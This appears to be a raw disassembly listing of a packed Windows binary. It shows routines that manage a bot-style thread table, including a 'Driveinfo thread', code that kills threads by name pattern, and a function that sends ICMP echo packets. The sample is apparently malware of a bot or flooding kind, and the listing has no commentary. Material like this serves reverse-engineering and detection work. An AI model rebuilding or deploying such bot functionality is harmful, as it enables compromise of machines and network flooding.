[ebp+var_5D8] lea eax, [ebp+var_404] push eax push offset dword_41939C lea eax, [ebp+var_404] push eax call dword_4171E0 add esp, 14h lea eax, [ebp+var_404] push eax push offset dword_418B64 lea eax, [ebp+var_5D0] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5D4] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 sub_408F2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset sub_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: .packed:00416A06p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 lea eax, [ebp+var_10] push eax call dword_4170D4 cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE pop ecx pop ecx call sub_416CF8 mov dword_41E3B0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call dword_4170D0 xor edx, edx mov ecx, 3E8h div ecx mov dword_41E3B0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 lea eax, [ebp+var_10] push eax call dword_4170D4 cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE pop ecx pop ecx call sub_416CF8 jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call dword_4170D0 xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 lea eax, [ebp+var_10] push eax call dword_4170D4 cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE pop ecx pop ecx call sub_416CF8 sub eax, dword_41E3B0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call dword_4170D0 sub eax, dword_41E3B0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: .packed:004168C6p push ebp mov ebp, esp and dword_41E3D0, 0 push 1980h call sub_416B46 pop ecx mov dword_41E3D8, eax push offset dword_41E3B8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093B6 proc near ; DATA XREF: sub_409479+35o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_1C], eax push [ebp+arg_0] call sub_416B4C pop ecx push [ebp+var_20] call dword_4170DC test eax, eax jz short loc_409431 cmp dword_41DF18, 0 jz short loc_40942F push [ebp+var_20] push offset dword_419474 push offset dword_41DB90 call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: sub_4093B6+62j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: sub_4093B6+59j push [ebp+var_1C] call [ebp+var_20] mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj or [ebp+var_4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_409466: ; CODE XREF: sub_4093B6+91j xor eax, eax loc_409468: ; CODE XREF: sub_4093B6+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4093B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: sub_40764D+14Ap ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset sub_4093B6 push 20000h push 0 call sub_416DC0 add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call dword_4170A4 push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_41DF10 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+10h] mov [ebp+var_1A0], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_416B3A ; strcpy pop ecx pop ecx push [ebp+arg_0] mov eax, [ebp+arg_0] mov eax, [eax] call dword ptr [eax+10h] mov [ebp+var_1A4], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_1A4] jmp short loc_409593 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_409593: ; CODE XREF: sub_4094E6+8Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4094E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E3B8 call sub_409C6C pop ecx cmp dword_41E3D0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C pop ecx push offset dword_41E3B8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, dword_41E3D8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C pop ecx push offset dword_41E3B8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E3D8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E3D8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C pop ecx push offset dword_41E3B8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, dword_41E3D0 inc eax mov dword_41E3D0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset sub_4094E6 push 0 push 0 call sub_416DC0 add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C pop ecx mov eax, dword_41E3D0 dec eax mov dword_41E3D0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A add esp, 0Ch push offset dword_41E3B8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E3B8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: sub_401244+73p ; sub_401244+547p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E3B8 call sub_409C6C pop ecx mov eax, dword_41E3D0 dec eax mov dword_41E3D0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call dword_4170A4 push 198h push 0 push [ebp+arg_0] call sub_416B6A add esp, 0Ch push offset dword_41E3B8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C pop ecx mov [ebp+var_4], eax push offset dword_41E3B8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3D8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3D8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E3B8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE add esp, 10h push offset dword_41E3B8 call sub_409C6C pop ecx mov eax, dword_41E3D0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E3D8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E3D8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E3D8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E3B8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C pop ecx mov [ebp+var_4], eax push offset dword_41E3B8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3D8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, dword_41E3D0 dec eax mov dword_41E3D0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3D8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3D8 add ecx, eax push ecx call sub_416B6A add esp, 0Ch push 0 push [ebp+var_8] call dword_4170E0 push [ebp+var_8] call dword_4170A4 loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E3B8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE add esp, 10h push offset dword_41E3B8 call sub_409C6C pop ecx mov eax, dword_41E3D0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E3D8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E3D8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, dword_41E3D0 dec eax mov dword_41E3D0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E3D8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E3D8 add ecx, eax push ecx call sub_416B6A add esp, 0Ch push 0 push [ebp+var_19C] call dword_4170E0 push [ebp+var_19C] call dword_4170A4 loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset dword_41E3B8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao var_1A8 = byte ptr -1A8h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push 1A3h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx cmp dword_41E3D0, 0 jz short loc_409B25 push 10h push dword_41E3D0 push offset dword_4194EC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: sub_409AD5+30j push offset dword_4194CC lea eax, [ebp+var_1A8] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409AD5+4Ej push offset dword_41E3B8 call sub_409C6C pop ecx and [ebp+var_10], 0 and [ebp+var_4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409B5B: ; CODE XREF: sub_409AD5+7Dj cmp [ebp+var_4], 10h jge short loc_409BE0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3D8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E3B8 call sub_409C7A pop ecx push 3E8h call dword_41709C push offset dword_41E3B8 call sub_409C6C pop ecx mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3D8 lea eax, [ecx+eax+14h] push eax push [ebp+var_4] push offset dword_4194BC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3D8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: sub_409AD5+A0j ; sub_409AD5+102j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: sub_409AD5+8Aj ; sub_409AD5+104j push offset dword_41E3B8 call sub_409C7A pop ecx xor eax, eax locret_409BED: ; CODE XREF: sub_409AD5+65j leave retn 4 sub_409AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset sub_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A add esp, 0Ch cmp dword_41DF20, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call dword_41DF20 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call dword_4170E4 loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170EC pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_41710C pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: sub_40332B+10p ; sub_41113B+7EDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call dword_41E3DC ; IcmpCreateFile mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call dword_41E3E8 ; IcmpSendEcho mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call dword_417064 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call dword_41E3E4 ; IcmpCloseHandle mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax 